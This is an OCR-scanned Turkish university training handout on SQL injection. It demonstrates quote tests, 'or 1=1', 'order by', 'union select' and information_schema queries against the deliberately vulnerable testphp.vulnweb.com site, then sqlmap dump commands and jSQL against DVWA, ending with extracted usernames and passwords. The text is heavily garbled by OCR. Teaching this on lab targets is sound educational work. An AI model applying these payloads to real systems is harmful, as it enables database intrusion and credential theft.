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Genel Bilgilendirme ve Degerlendirme
Sql Injection
SQL Nedir?
Veri tabani alt yapisina sahip sistemlerde verileri yonetmek ve tasarlamak igin kullanilan bir dildir.

Sql injection nedir ve nasil yapihr?

SQL injection web uygulamalarinin sql sorularina sql kamutlar1 enjekte edilmesidir. Web tarayicimizin adres
¢ubugunda yazdigimiz hersey arka planda bir sql sorgusu ¢alistirmakta bu sorgularin sql komutlar1 eklenerek
manipiile ederek Sql injection saldiris1 ger¢ceklesmektedir.

Sql Injection Uygulamasi
Hedef sitemizin adres ¢ubuguna
syntx hatasi verdi

“ http://testphp.vulnweb.com/listproducts.php?cat=1 *

XY

ekliyoruz bu sayede veri tabani kullanip kullanmadigini 6greniyoruz site bize

Simdi “” yerine bize her zaman dogru sonug¢ dondiirecek olan “ or 1=1 " ekliyoruz .
B eoma P o111 2 3 2ae

M MEGA x @ pictures x ==

&« C @ a vulnweb.com

KaliLinux & KaliTools < Kali Docs Kali Forums o Kali NetHunter Exploit-DB Google Hacking DB OffSec » YouTube

ries artists  disclaimer | your cart = guestbook | AJAX Demo

Error: You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near
 at line 1 Warning: mysql_fetch_array() expects parameter 1 to be
resource, boolean given in /hjivariwwwilistproducts.php on line 74

Hazirlayan Onaylayan
BKK KASGEM




Dokiiman No FR-062
IIk Yayin Tarihi = 8/02/2022
Revizyon Tarihi -
Revizyon No 0

Sayfa No 11

Kali Forums & Kali NetHunter  Exploit-DB Hacking DB

The share
Dor

- B
orrment on this picks

Goriildiigi lizere sayfa hata vermeden geldi.
Simdi siitun sayisin1 6grenmek i¢in ” order by “ komutu ekleyip sonuna rastgele sayilar yaziyor ve kag adet siitun
oldugunu 6greniyoruz

“ http://testphp.vulnweb.com/listproducts.php?cat=1 or 1 = 1 order by 12”

Seklinde 12 siitun oldugunu belirtip deniyoruz . Goriildiigii tizere 12 siitundan az oldugu i¢in hata verdi simdi 11
yazip tekrar yaziyoru bu iglemi siitun sayisin1 bulana kadar tekrarliyoruz .

vulnweb.com

Kali Linux § Kali To = Kali Docs Kali Forums ¥ Kali NetHunter Exploit-DB Google Hacking DB

Acunetix Web Vulnerability Scanner

home | categories  artists | disclaimer | your cart | guestbook | AJAX Demo
search art Error: Unknown column "12' in "order clause” Warning: mysql_fetch_array()
go expects parameter 1 to be resource, boolean given in fhjfvar

Sovwwillistproducts.php on line 74
Browse categories

Browse artists
Your cart
Signup

Your profile
Our guestbook
AJAX Demo

Links

Security art
PHP scanner
PHP vuln help
Fractal Explorer

About Us | Privacy Policy | Contact Us

Warning: This is not a real shop. This is an example PHEP application. which is intentionally vuinerable to web attacks:
It is intended to help you test Acunetix. It also helps you understand how developer emors and bad configuration may
let someomne braak into your websits_ you can use it to test other tools and your manual hacking skills as well. Tip:
Look for sQL . Scripting (XSS}, and Cross-sits Request Forgery (CSRE), and mors.

“ http://testphp.vulnweb.com/listproducts.php?cat=1 or 1 = 1 order by 11”
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B mEaPor]l-| 2 3
M MEGA x @ pictures

« C @ a vulnweb.com

Kali Linux # Kali Toc i YouTube
# MEGA < @ pictures X+

O a8 vulnweb.com

Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec » YouTul
home | categories  artists | disclaimer | your cart | g AJAX Demo

search art Graﬁlty
%
Thing
Browse categories
oNSe o Lorem ipsum dolor sit amet, consectetuer adipiscing eiit
Donec molestie. Sed aliquam sem ut arcu. Phasellus
Your cart sollicitudin.
Signup

Your profile painted by: Blad3

Our guestbook
AJAX Demo

comment on this picture

Links
Security art . —

PHP scanner Lorem ipsum dolor sit amet, consectetuer adipiscing elit
PHP vuin help Donec molestie. Sed aliquam sem ut arcu. Phasellus
Fractal Explorer sollicitudin.

painted by: r4v8173

comment on this picture

Walking

Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
Donec molestie. Sed aliquam sem ut arcu. Phaselius

B soliicitudin.

f§ painted by: Blad3

comment on this picture

Walking

Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
Donec molestie. Sed aliquam sem ut arcu. Phaselius
sollicitudin

painted by: lyzae

comment on this picture

The shore
Lorem ipsum dolor sit amet, consectetuer adipiscing elit
Donec molestie. Sed aliquam sem ut arcu
painted by: r4w8173

Gorildiigi gibi “ order by ” komutunu kullanarak siitun sayisini bulduk siitun sayisi 11. Simdi biitiin siitunlar
beraber yazabilmemizi olanak saglayan ““ union select ” komutunu “ order by ”

Komutu yerine yazip siitunlari su sekilde “1,2,3,4,5,6,7,8,9,10,11” biitiin siitunlar1 yazip sayfay1 inceliyoruz sayfada
hangi siitunlar manipiile edilmeye miisait olduguna bakiyoruz.

“ http://testphp.vulnweb.com/listproducts.php?cat=1 or 1 = 1 union select 1,2,3,4,5,6,7,8,9,10,11”
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23 4
& pictures

€= C @ O & t vulnweb.com

Kali Linux §8 Kali Tools # Kali Docs Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec * YouTub

B Q) painted by: Blad3

ture

bla bla bla
painted by: lyzae

& comment on this picture

Trees

bla bla bla
painted by: rdw8173

& comment on this picture

bla bla bla
painted by: Blad3

& comment on this picture

bla bla bla
painted by: lyzae

comment on this picture

2
painted by: 9

comment on this picture

Sayfanin sonunda goriildiigii gibi 2,7 ve 9 siitunlar1 manipiile edilebilir 7. siituna bir deneme yapalim adres
c¢ubugunda “ 7 “ yerine “@@yversion” yaziyoruz bu bize bu sayfay1 ¢alistiran isletim sistemi ve siirimii hakkinda
bilgi verecek.

“ http://testphp.vulnweb.com/listproducts.php?cat=1 or 1 = 1 union select 1,2,3,4,5,6,@@version,8,9,10,11”

8.0.22-0ubuntud.20.04.2

2
painted by: 9

comment on this picture

Bu sayfayi caligtiran igletim sistemi ubuntu ve siirtimii 0.20.04.2

7. siitunu manipiile etmeye devam edelim.

“@@version ” yerine bize biitlin sonuglar birlestirecek olan “group concat ()” komutunu yaziyoruz

Parantez Icerisine tablolar1 goriintiilemek igin “group concat(table name)” seklinde yazip sorgunun sonunda bu
istegimizi belirtiyoruz “from information _schema.tables where table schema=database()”
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“ http://testphp.vulnweb.com/listproducts.php?cat=1 or 1 = 1 union select 1,2,3,4,5,6
group_concat(table_name),8,9,10,11 from information_schema.tables where table_schema=database()”” sonug olarak
bize tablolar1 dondiiriir.

Bize

<« C @ 0 é vulnweb.com

KaliLinux @ KaliTools @ KaliDocs ~ Kali Forums e Kali NetHunter  Exploit-DB % Google Hacking DB

ts,carts,categ, featured, guestbook pictures, products users

“artists,carts,categ,featured,guestbook,pictures,products,users” tablolarini gosterdi

artists,carts,categ,featured, guestbook, pictures, products,users

2

painted by- 9

comment on this picture

Users tablosundaki kolonlar1 gériintiilemek i¢in parantez igerisini “column_name” olarak degistirip sorgunun

sonunuda “from information_schema.columns where table name=0x7573657273”

Burada “0x7573657273” users kelimesinin hex halidir.

Sonug olarak bize user tablosunun kolonlarini gosterdi.

Bu kolonlardaki verileri ¢cekmek i¢in sorgumuzu parantez i¢ini “uname,0x3a,pass” seklinde degistiriyoruz burada
address,.cart,cc,email name, pass, phone,uname

2

painted by: 9
comment on this picture
“”0x3a” “:” anlamina geliyor bunu koymamizin sebebi ¢ekilen verilerin bir birine karigmasini engellemek igi

sorgunun sonunu “from information_schema.columns where table name=0x7573657273” yerine “from users”
yaziyoruz .
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adi test sifre test sizma islemi gerceklesti bu bilgiler ile login oluyoruz.

test:test

2
painted by- 9

comment on this picture

SQLMAP TOOL

& C @ O a8 o vulnweb.com

KaliLinux §8 Kali @ KaliDocs Kali Ferums X Kali NetHunter Expl

Acunetix web Vulnerability Scanner

Kullanici

home | categories

search art

Browse categories
Browse artists
Your cart

Signup

Your profile

Our guestbook
AJAX Demo

Links
Security art
PHP scanner
PHP vuln heip
Fractal Explorer

About Us | Privacy Policy | Contact

Warning
It intende

artists | disclaimer | your cart | guestbook | AJAX Dema
It you are already registered please enter your login information below:
Usemanme : test
Password . weee
fogin

You can also signup here.
Signup disabled. Please use the username test and the password test.

P

Sqlmap sql injection gergeklestiren bir ara¢ konsol tabanlidir parametreleri igin konsola

Acunetix Web vulnerability Scanner

home | categories artists = disclaimer | your cart | guestbook | AJAX Demo

search art ciao (test)

@
Browse categories On this
Browse artists

Your cart

Signup Name:
Your profile
Our guestbook E-Mauil:
AJAX Demo

Links Address:

Security art
PHP scanner
PHP vuln help
Fractal Explorer

page you can visualize or edit you user information.

cian

Credit card number:  1234-5678-2300-9000

purpleguyggmail com

Phone number. 1393271

your omn house

@

update

You have 0 items in your cart. You visualize you cart here.

“sqlmap -h” yazarak ulasabilirsiniz

Hedef url belirtmek i¢in

-u URL, --url=URL

("http://www.site.com/vuln.php?id=1")

Cookie belirtmek i¢in

--cookie=COOKIE

(e.9. "PHPSESSID=a8d127e..")

Veri tabanim
goriintiilemek i¢in

--dbs

Tablolar gorlintiillemek --tables
igin

Kolonlari goriintiilemek --columns
icin

Verileri ¢ekmek icin

--dump

Veri tabani1 belirmek icin

-D DB

Tablo belirtmek i¢in

-T TBL

Kolon belirtmek i¢in

-C COL

Hedef url’yi “-u” yazip url’yi de

1132

igerisine yaziyoruz ve cookie belirtiyoruz cookie

tabanlarim1 gérmek i¢in “--dbs” yazip baglatiyoruz

[132]

icinde belirtiyoruz ve veri
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rity=Low; PHPSESSID=L41cingd3ufefk17unid7use

Simdi dvwa veri tabanini belirtip icerisindeki tablolar1 goriintiilemek i¢in
“ --dbs” yerine “-D dvwa --tables” yaziyoruz

v -T users —col

T users —column” seklinde diizenliyoruz.
users tablosunun kolonlarini goriintiiledik

etching columns for table

simdi bu kolonlardaki verileri ¢ekecegiz bunu i¢in “-D dvwa -T users -C users,password --dump”
seklinde diizenliyoruz kullanici

admin
gordonb
i

smithy 54 T ssword)

o o——— e —

adlar1 ve sifreleri ¢ektik sizma islemi gerceklesti.

JSQL TOOL
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Basit bir arayiize sahiptir

JS@L Injection

- Databage

Me database

B console E chunk [ Boolean % Network

[ 1 350L Injection v 85 en Java 17 4. &-andsd-en

[11.22 2237 [Mew release wi.85] Various internal inprovements. Run now on latest Java 17
[ 47 [ongoing] Experiment with Kerberos, Websocket, GraphgL, Kubernetes and DNS
[11 1 9] [Roadnap] More tampers, DNS/ETT® Out of band, WAF Fingerprint

Database ° Admin page Read file | @l web shell @l SOL shell = upload | Brute force Encoding | Batch scan

1o - Strategy auto

Hedef url’yi yazip baslatmami yeterli.
Bize database’leri ,tablolar1 ve kolonlari ¢ikardi

E acuart (8 tables)
[ artists (3 rows)
[ carts (1 row)
[ categ (4 rows)
T featured (0 row)
& guestbook (D row)
& pictures (7 rows)
& products (3 rows)
= [ users (0 row)
[]address
[Jcart
[ce
[Jemail

[ I name
[ pass

[ 1 phone
[Juname

& information_schema (79 tables)
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Simdi users tablosundaki kolonlar1 ¢ekelim bunun i¢in users {izerine sag tik yapip chek all diyoruz yani hepsini

seciyoruz ve tekrar sag tik yapip load diyoruz

Verileri ¢gekmeyi basardik.

Sorumlu Ogretim Elemani
Unvan: Do¢.Dr.
Adi1 Soyadi:Ali GEZER

Gorevi: Siber Giivenlik Uygulama ve Arastirma Merkezi Miidiir
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